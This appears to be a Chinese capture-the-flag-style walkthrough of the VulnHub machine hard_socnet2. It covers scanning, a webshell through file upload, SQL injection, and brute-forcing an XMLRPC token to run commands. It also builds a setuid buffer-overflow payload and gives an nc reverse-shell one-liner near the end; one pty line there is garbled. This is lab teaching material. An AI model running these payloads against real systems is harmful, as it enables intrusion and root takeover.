0x01 主机发现
sudo arp-scan -l
0x02 端口扫描
sudo nmap -p- 10.0.2.8
0x03 服务识别
sudo nmap -p22,80,8000 -sV 10.0.2.8
得到基本信息,ubuntu,python2,apache
0x04 服务识别
访问 8000 端口,提示请求方式不支持
那就把八种请求方式全部试一遍。OPTIONS、HEAD、GET、POST、PUT、DELETE、TRACE、CONNECT。最终也只有POST请求返回信息有些许不同。
根据返回信息可以看到,提示 xml 解析报错,元素为空,猜测应该是服务端对外提供的 api,但具体调用格式还不清楚,先换个点,收集多点信息。
0x05 后台图片上传 & SQL注入
访问默认 80 端口。有个 Pynch 系统,有个登录框和注册框,并且登录账号为邮箱。
真实渗透场景下需要收集目标相关的邮箱信息,再构造字典尝试登录。但由于目标在此目标没发现什么邮箱信息,那就直接注册个账号进去看看吧。
可以看到,此系统类似博客,每个人都可以留言,其中有 admin 账户的留言信息,表示后台已经运行了一个 monitor.py 监控程序,应该是伏笔,先记着。
经过后续测试发现两个突破口。第一个是个人信息的头像图片上传,存在任意文件上传。那就好办了,直接上蚁剑。
第二个是搜索框存在SQL注入。使用sqlmap注入尝试。
尝试读取用户表的信息。这里的信息是用于登录系统后台,登录admin后台并没有发现更多的功能点,暂时搁置。根据获得密码登录SSH,无果。
0x06 尝试提权到 sudo 用户
由于现在蚁剑获得了一个普通的权限,尝试提权。提权思路通常为:
-
内核提权,uname -a
这个后面再讲,不符合当时靶机作者的思路。
-
sudo 提权
当前用户没有执行 sudo 相关程序的权限。
-
suid 权限配置不当,通过执行高权限用户文件得到高权限。
暂无找到 suid 相关的执行文件存在漏洞。
来一波信息收集吧
cat /etc/passwd
有 bash 权限的 socnet 存在主目录,并且其他组用户有查看权限,赶紧进去瞧瞧。
ls -l /home
可以看到有个monitor.py,想起之前的在系统后台看到管理员说过,后台已经开启了 monitor ,查看是否开启。可以看到程序确实已经启动。
查看 monitor.py。这个文件有这么几个点:
- 在 8000 端口开启了一个 XMLRPC 服务
- 随机生成一个1000到9999的数字,用于后续验证
- 定义了5个函数,其中四个为执行固定命令,一个为执行外部传输的指令,但前提是随机数正确
另外 XMLRPC 就是通过解析 XML 格式的数据去执行功能点。
这样的话就有思路了,能否爆破出随机数,进而执行代码呢!
执行后爆破出来的随机数是 8793
修改代码,尝试进行命令执行。成功!
拿到了有 bash 权限的 socnet 用户,看看有没有相关提权漏洞,木的
0x07 逆向工程 & 动态调试 提权
提权的寻常思路不管用,那就继续信息收集吧。查看当前用户主目录下的文件信息,其中 monitor.py 为开启 XMLRPC 服务的文件,第一个文件 add_record,为 32 位的可执行程序,而且文件还有 setuid, setgid 属性。这就意味着,如果这个程序能够执行反弹 shell,那反弹的就是 root 权限。
第三个是 peda 目录,其实就是一个让 linux 自带的 GDB 显示得更友好,就是 GDB 的一个插件。而 GDB 是Linux下用来调试程序的,这一切仿佛都在暗示第一个可执行程序有问题。
说到可执行程序漏洞,往往就是栈溢出,原理就是输入异常数据,使得数据溢出到其他寄存器,导致可执行任意代码。
我们先来看看 add_record 这个程序的功能,运行试试。可以看到总共有五个输入点,Employee Name,Year worked,Salary,in trouble,Explain。
使用 gdb 进行运行调试。尝试在每个输入点注入相同字符,如果字符溢出到其他寄存器则存在缓冲区溢出漏洞。直接python打印A字符用于输入。
python -c "print('A'*500)"
开始 gdb 运行调试(第一个输入点,正常退出):
gdb -q ./add_record #安静模式启动调试程序
r #正常执行程序
AAA... #输入字符验证溢出
那就挨个输入点调试,在最后一个点触发了不正常退出。可以看到A字符被填充到其他寄存器里。
重点需要关注的是EIP寄存器,这是指令寄存器,放的是CPU下一条要执行指令的地址。可以看到这里EIP寄存器也被A字符填充了,如果我们能够控制shellcode的代码放在EIP中,那么CPU就会去执行。所以现在我们需要定位,测试时的500个字符中填充到EIP是哪部分。
这里用 gdb 内置的功能生成100字符,特点是每四个字符不同。便于我们定位EIP的填充字段。
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
之后执行 pattern search
,可以看到EIP对应的偏移为62,意味着从第63个字符开始就会进入EIP。
生成测试字符串,前62个字符为A,后面为BCDE,可以看到BCDE顺利被填充进EIP寄存器。这里需要说明一下,BCDE字符在内存中是倒过来存储的,存储为EDCB。即0x45444342对应的为EDCB,后续我们指定地址的时候要注意。
输入 disas main
进行汇编分析,其中@plt为系统内置的函数
有个 vuln 函数引起了注意,这名字明显不对头,而且这是在主程序中加载的,也就说默认执行程序时就已经执行了这函数,进去瞧瞧 disas vuln
。
可以看到 vuln 函数中执行了 strcpy 内置函数,这函数已经披露过有缓冲区溢出漏洞,也就是说溢出后,我们可以指定任意内存地址跳转。
查看当前程序使用的函数列表 info func
。其中 system 函数用于执行系统命令,setuid用于申请root权限,
还有个 backdoor 函数,这怎么看都很可疑,disas backdoor
进去看看,system函数是在这里面调用的~
理一下思路,程序运行时自动加载 vuln
函数,其中调用了 strcpy
,导致其存在溢出漏洞,我们可以把 EIP 指向 backdoor 函数,因为里面执行了 setuid,和 system 函数。先尝试看看会执行成什么样,构造 payload,前62个字符为A,后续接上十六进制的 backdoor
地址,要倒着写。
python2 -c "import struct; print('A'*62 + struct.pack('I',0x08048676))"
可以看到,在输入 backdoor
函数里调用 system 自动执行了 /bin/bash,而且在之前还执行了 setuid 。因此,生成 payload,第一个参数a,第二个参数1,第三个参数1,第四个参数1,第五个参数为62个A加上 backdoor的地址。
python2 -c "import struct; print('a\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload
执行 cat payload - | ./add_record
0x08 内核提权
其实这台主机可以直接用 CVE-2021-3493 提权到 root,但因为靶机发布在此漏洞之前,作者应该是没想到这种情况。
#命令执行反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.7 3333 >/tmp/f
#通过python优化交互的shell
python -c "import pty; pty,spawn('/bin/bash) <les$ python -c "import pty; pty,spawn('/bin/bash)"')"
靶机地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
对网络安全有兴趣的小伙伴,欢迎关注公众号:白帽学子